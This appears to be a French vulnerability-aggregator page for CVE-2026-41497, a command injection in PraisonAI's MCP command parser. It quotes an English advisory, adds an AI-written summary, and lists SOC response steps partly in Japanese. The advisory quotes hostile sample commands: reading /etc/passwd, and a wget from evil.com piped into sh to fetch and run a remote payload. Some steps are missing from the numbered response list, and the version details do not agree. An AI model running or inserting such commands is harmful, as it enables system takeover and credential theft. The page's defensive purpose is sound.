Injection de commande dans praison (CVE-2026-41497)
Résumé
injection de commande dans praison (CVE-2026-41497). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via bash. Atténuation : mise à jour vers >= 4.6.9 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Summary
The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.
Affected Package
- Ecosystem: PyPI
- Package: MervinPraison/PraisonAI
- Affected versions: < 47bff65413be
- Patched versions: >= 47bff65413be
Details
The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.
The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.
Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.
PoC
#!/usr/bin…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Résumé IA
Rédigé par une IA externe ; il peut contenir des erreurs. Vérifiez la description d'origine et les références ci-dessous avant d'agir.
Une vulnérabilité référencée CVE-2026-41497 a été découverte dans praison.
Des attaquants peuvent cibler un point d'entrée spécifique comme bash à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 9.8/10.
Action : mettez à jour praison vers >= 4.6.9 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « praison CVE-2026-41497 » sur le site de l'éditeur.
CVE-2026-41497 (praison) — CWE-77 / CVSS v3 9.8
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : bash / python / ALLOWED_COMMANDS / npx
Versions affectées : <= 4.6.8
Correctif : >= 4.6.9 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une vulnérabilité (CWE-77) affecte praison. Les attaquants atteignent le code vulnérable via bash sans authentification.
praison — Plage affectée : <= 4.6.8. Surface d'attaque : bash / python / ALLOWED_COMMANDS / npx.
Gravité : Critique (CVSS 9.8/10). L'exploitation peut entraîner la prise de contrôle totale du système
Mettre à jour vers >= 4.6.9. (Si une version vulnérable <= 4.6.8 est en production, planifiez immédiatement une fenêtre de maintenance.)
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Incidents passés similaires Incidents similaires extraits des CVE passées
Similar command injection vulnerability due to insufficient validation in PraisonAI.
Spring Cloud Function vulnerability allowing RCE via improper command handling.
Apache Struts improper input handling leading to RCE.
Si cela arrivait dans votre entreprise Impact attendu selon le scénario métier
Unauthorized command execution could result in data breaches and system compromise.
Compromised systems may lead to unauthorized access and persistent threats.
Service disruptions and data integrity issues due to unauthorized system commands.
Companies should immediately upgrade PraisonAI to version 4.6.9, ensure command parsing is secure, and monitor system logs for signs of exploitation.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'praison' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonを grep し、稼働しているサービス・バージョンを把握する。 -
2Match against affected range verify
Confirm if version satisfies `<= 4.6.8`Step 1 で見つかったバージョンが影響範囲
<= 4.6.8に該当するか照合。本番で稼働中ならインシデント扱い。 -
6Apply patch patch
Upgrade praison to >= 4.6.9ステージング環境で >= 4.6.9 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。
-
7Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。
Paquets affectés
Références
- advisory nvd.nist.gov
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com